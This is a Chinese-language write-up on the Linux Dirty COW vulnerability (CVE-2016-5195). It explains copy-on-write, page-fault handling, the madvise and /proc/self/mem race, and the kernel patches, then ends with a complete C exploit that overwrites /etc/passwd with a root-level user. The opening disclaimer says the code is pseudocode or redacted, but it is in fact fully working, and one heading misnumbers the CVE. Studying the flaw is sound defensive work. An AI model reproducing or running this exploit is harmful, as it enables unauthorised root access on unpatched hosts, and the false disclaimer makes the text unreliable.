CVE

CVE-2016-5195

合规声明:本文仅用于安全研究与防御,全部实验在自建环境完成;代码为伪代码或已打码,不包含可直接复用的完整利用程序(PRD 3.7)。

CVE-2016-5915 Dirty COW

COW = Copy On Write

享年Linux 2.6.22 - Linux 4.8.3

一. 前置知识

Copy On Write: 写时复制

当调用fork()创建子进程时,Linux采用写时复制:

  • 父进程和子进程的代码段,数据段,堆,栈,最初映射到同一份物理内存页
  • 内核把两者的页表标记为只读
  • 只有当某一方尝试写入某个页时,触发**[缺页异常]**中断,内核才为那一页分配新的物理内存,并改成可写

一开始父子共享同一个物理内存页。只要其中一方(父或子)尝试写入,内核就会分配一个新的物理内存页,把原来共享页的内容原样复制过去,然后让写入的那一方改用这个新页

触发COW的原因就是进程要尝试写入一个PTE为只读的页

所以如果mmap映射到了一个只具有读权限而不具有写权限的文件,当我们尝试向 mmap 映射区域写入内容时,也会触发写时复制机制,将该文件内容拷贝一份到内存中,此时进程对这块区域的读写操作便不会影响到硬盘上的文件

如果创建子进程并且没有调用exec操作:

  • 代码段:父子共享同一份物理页,因为代码段是只读的,所以永远不会写
  • 数据段:初始共享,子进程如果要写,那就把那一页复制给子进程
  • 堆:按需复制
  • 栈:子进程几乎必要写栈,所以栈页立即触发COW创建物理内存并复制信息给子进程

如果调用exec操作:子进程旧共享空间被完全替换,新程序的所有段(代码、数据、堆、栈)都分配了新的物理内存,与父进程彻底独立

因为exec本身这个函数就是新开一个程序,比如execve('/bin/sh'),所以复制都不用复制了


缺页中断异常处理

Linux系统采用惰性分配处理页,在虚拟映射页(大部分)真正被访问之前,不分配物理内存。访问时触发缺页,才会分配物理页

触发:地址非法、无权限、或没建立映射。

分类:

  • minor(软性):页已在内存,只缺 PTE/TLB 注册(相关的页已经被载入内存中,但是并未向 MMU 进行注册,此时内核只需要在 MMU 中注册相关页对应的物理页即可)
  • major(硬性):页不在内存,需读磁盘(相关的页未经被载入内存中,此时操作系统便需要寻找到一个合适且空闲的物理页/将另一个使用中的页写到硬盘上,随后向该物理页内写入相应内容,并在 MMU 中注册该页)
  • invalid:地址不属于进程,发 SIGSEGV

异常处理关键分支:

页表项(Page Table Entry):用来记录一个虚拟页到物理页的映射关系,以及这一页的访问权限

程序访问的是虚拟地址,CPU 的 MMU 需要把它翻译成物理地址。这个翻译过程就靠页表,而页表由很多页表项组成

假设页大小是 4KB,虚拟地址被分成:虚拟页号 | 页内偏移

MMU 用虚拟页号去查页表,找到对应的页表项,取出物理页帧号,再拼上原来的页内偏移,就得到物理地址:物理地址 = 物理页帧号 << 12 | 页内偏移

若该页不在主存中:

主存就是计算机的物理内存

  • 若PTE 为空:(表示进程第一次访问该页,未与物理页建立映射关系)

    匿名页(堆,栈等),分配初始零页(用0填充的页)

    文件页:调用 do_fault() 进行进一步的分配操作

    /*
     * We enter with non-exclusive mmap_sem (to exclude vma changes,
     * but allow concurrent faults).
     * The mmap_sem may have been released depending on flags and our
     * return value.  See filemap_fault() and __lock_page_or_retry().
     */
    static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
    		unsigned long address, pte_t *page_table, pmd_t *pmd,
    		unsigned int flags, pte_t orig_pte)
    {
    	pgoff_t pgoff = (((address & PAGE_MASK)
    			- vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;
    
    	pte_unmap(page_table);
    	/* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */
    	if (!vma->vm_ops->fault)
    		return VM_FAULT_SIGBUS;
    	if (!(flags & FAULT_FLAG_WRITE))//非写操作引起的缺页异常(读操作)
    		return do_read_fault(mm, vma, address, pmd, pgoff, flags,
    				orig_pte);
    	if (!(vma->vm_flags & VM_SHARED))//非访问共享内存(私有文件映射)引起的缺页异常(写操作)
    		return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
    				orig_pte);//进行写时复制
    	return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);//访问共享内存引起的缺页异常
    }

    其中do_cow_fault是响应未注册PTE写操作的处理函数

    该函数会生成用于复制数据的新物理内存页,之后将新页更新到页表中,对应COW的生成复页操作

    这时数据还没有复制进新页

  • 若PTE 不为空:说明该页此前访问过,但是被换到交换空间(外存)里了(太久没用?),此时只需将该页交换回来即可

    交换页:do_swap_page()

若该页在主存中:

函数所在代码页如果已经在主存中,它一定有有效的 PTE,指向物理页框 如果不在主存中,它可能有 PTE,也可能根本没有有效 PTE

  • 缺页异常由“写”操作引起:

    • 若对应页不可写,调用 do_wp_page() 进行写时复制(应对已经存在PTE的写入操作缺页处理)

    • 若对应页可写,标脏并更新

  • 将新内容写入pte页表项中

脏牛中,get_user_pages() 带有 FOLL_WRITE标记,导致尝试获取只读PTE会触发缺页,COW成功 后清除 FOLL_WRITE

这时用madvise 清掉 PTE,使再次get_user_pages()误走普通缺页分支,把只读页缓存重新登记。最后 FOLL_FORCE 直接写这个只读页,篡改原文件


二.漏洞原理:条件竞争

正常情况下写只读映射:

int f = open("/etc/passwd", O_RDONLY);
char *map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, f, 0);
  • CPU发现写入只读页,触发段错误
  • 内核重新分配一个物理页
  • 把原页内容复制到新页
  • 将页表指向新页,并标记为可写
  • 写入新页,最终原只读页/etc/passwd没有被修改,生成的副本被修改

Dirty COW逻辑:反复执行操作A和操作B,利用竞态条件非法写入

操作A:madvise(map, size, MADV_DONTNEED)

原型 int madvise(void *addr, size_t length, int advice)

MADV_DONTNEED:不再使用对应内存区域,申请内核清理

map:*addr指针

size:length,表示map到map + size映射区域

所以本函数是清理页表

操作B:通过 /proc/self/mem 写入

int f = open("/proc/self/mem", O_RDWR);
lseek(f, (off_t)map, SEEK_SET);
write(f, "firefart:...", len); //write /proc/self/mem 一开始带的标志是 FOLL_WRITE | FOLL_FORCE其中FOLL_WRITE 要求拿到的页必须可写(只读 PTE 就走 COW)

/proc/self/mem是进程的内存接口,可以直接直接往指定虚拟地址写数据

如果没有操作A搅合,write(/proc/self/mem)应该是

  • 内核发现目标页是只读
  • 触发 COW
  • 分配新物理页
  • 复制内容
  • 写入新页

write系统调用想用/proc/self/mem文件写入内容,内核会调用get_user_pages函数

这个函数会根据虚拟内存地址寻找对应的页物理地址,函数内部调用follow_page_mask来寻找页描述符

  • 第一次follow_page_mask获取页表项会因为缺页失败(请求调度的机制)。 get_user_pages 会调用 faultin_page 以及 handle_mm_fault 来获取一个页框并将映射放到页表中(生成PTE并将其放入主存)

  • 继续第二次的 follow_page_mask 获取页表符,因为获取到的页表项指向的是一个只读的映射,所以这次获取也会失败(由于页表标记为只读,不可修改,mmap映射失败,这时触发了写时复制)

    COW成功之后,FOLL_WRITE被清除(flags &= ~FOLL_WRITE)

  • get_user_pages第三次调用follow_page_mask的时候不再要求页表项指向的内存映射有可写权限(FOLL_WRITE已被清除),因此可以成功获取(不清除FOLL_WRITE仍然无法获取),获取之后就可以对只读内存进行强制写入操作(这次/proc/self/mem的强制写入开始发力,将信息写入生成的复件)

/proc/self/mem本身就有强制写入权限的,只是由于内核内部会走COW,强制写入只读文件也不会出现什么问题

如果mmap映射成功,说明对应区域有可写权限,直接在第二次结束,不算越权

如果mmap映射失败,也会进入COW处理,写入副本,并不影响原文件

/proc/self/mem的第三次调用相当霸道,这时follow_page_mask 失去了 FOLL_WRITE 标志,该标志意味着即使文件是只读,它也要无视权限强行获取(其次发力的是FOLL_FORCE,意味着无视权限强行写入,这个标志本身是 /proc/self/mem 写操作使用的,是合理的)

两者竞争:madvise 清除了页表项之后,COW生成的复件被忽视了

  • 第一次follow_page_mask获取仍为正常步骤,follow_page_mask由于缺页失败(PTE不存在),faultin_page将只读映射登记
  • 第二次follow_page_mask获取时mmap映射失败(PTE存在,但是只读),触发COW,COW成功之后执行flags &= ~FOLL_WRITE成功清除FOLL_WRITE,导致只读PTE映射也可以被成功获取,准备进入第三次获取
  • madvise清除PTE,使得映射失去登记
  • 尝试进入第三次follow_page_mask,因为PTE已经消失,第三次follow_page_mask失败,不过这次是因页表项为空而失败,所以进入了主存外(PTE不存在)缺页处理分支(faultin_page 将原文件页以只读方式重新登记)
  • 进入第四次follow_page_mask,这时**follow_page_mask失去了FOLL_WRITE标志,无视风险强制获取**,获取的了只读的原页登记,此时**FOLL_FORCE标志发力,无视风险强制写入**,导致只读原件被改写

三.漏洞修复

曾经红极一时的脏牛终究被修复了

脏牛漏洞的本质是:攻击者通过竞争绕过只读权限,把只读文件页强制写入底层文件

  • 第一次因为没有注册PTE获取失败,进入do_cow_fault函数,同时登记页表项为只读文件页

  • 第二次的试图获取因为FOLL_WRITE标志位的存在而失败

    只需要让COW清掉碍事的标志位,这时插入一个其他的进程搞事(清除了PTE),把获取操作骗回第一次的处理分支

  • 那么第三次仍然是因为没有注册PTE获取失败,将重新登记页表项为只读文件

  • 第四次获取成功,并强制写入只读文件

一开始的补丁是引入 FOLL_COW 标志,明确记录COW的状态,防止进入缺页异常之后,COW页被”忘记“

之后PageAnonExclusive()又被引入,移除 FOLL_COW,该函数从根本上判断页是否可安全写入,修复了 FOLL_FORCE 的潜在风险


四.Exploit

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sys/stat.h>
#include <crypt.h>
#include <stdint.h>

struct stat passwd_st;  // 保存 /etc/passwd 的文件状态
void *map;
char *fake_user;      // 伪造的passwd行字符串
int fake_user_length;
pthread_t write_thread,madvise_thread;

struct Userinfo   // 用户信息结构体
{
  char *username;
  char *hash;
  int user_id;
  int group_id;
  char *info;
  char *home_dir;
  char *shell;
}hacker =
{
  .user_id = 0,
  .group_id = 0,
  .info = "pwner",
  .home_dir = "/root",
  .shell = "/bin/sh",
};

// 写线程:通过 /proc/self/mem 向 map 地址写入伪造行
void *writeThread(void *argv){
  int mm_fd = open("/proc/self/mem",O_RDWR); //打开当前进程的内存文件
  printf("fd of mem: %d\n", mm_fd);
  for(int i=0;i < 0x10000; i++){
    lseek(mm_fd, (off_t) map, SEEK_SET);  //将内存文件偏移定位到map地址
    write(mm_fd, fake_user, fake_user_length); //向该地址写入伪造的passwd行
  }
  return NULL;
}

void *madviseThread(void *argv){
  for(int i=0;i < 0x10000;i++){
    madvise(map,0x100,MADV_DONTNEED); //丢弃map开始0x100字节所在页的缓存
  }
  return NULL;
}

int main(int argc,char **argv){
  int passwd_fd;
  if(argc < 3){
    puts("usage: ./dirty username password");
    return 0;
  }
  hacker.username = argv[1]; //第一个参数作为用户名
  hacker.hash = crypt(argv[2], argv[1]); //用密码和用户名作为slat生成哈希
  fake_user_length = snprintf(NULL, 0, "%s:%s:%d:%d:%s:%s:%s\n", // 计算格式化字符串长度
        hacker.username, 
        hacker.hash, 
        hacker.user_id, 
        hacker.group_id, 
        hacker.info, 
        hacker.home_dir, 
        hacker.shell); 
fake_user = (char * ) malloc(fake_user_length + 0x10);
sprintf(fake_user, "%s:%s:%d:%d:%s:%s:%s\n", // 格式化写入 fake_user
        hacker.username, 
        hacker.hash, 
        hacker.user_id, 
        hacker.group_id, 
        hacker.info, 
        hacker.home_dir,
        hacker.shell); 
passwd_fd = open("/etc/passwd", O_RDONLY); //打开/etc/passwd,只读
printf("fd of /etc/passwd: %d\n", passwd_fd);
fstat(passwd_fd, &passwd_st); // 获取文件状态,得到文件大小
map = mmap(NULL, passwd_st.st_size, PROT_READ, MAP_PRIVATE, passwd_fd, 0);
//映射文件到内存,只读,私有
pthread_create(&madvise_thread, NULL, madviseThread, NULL);
pthread_create(&write_thread, NULL, writeThread, NULL);
pthread_join(madvise_thread, NULL);
pthread_join(write_thread, NULL);
return 0;
}

五.提权成功

dirty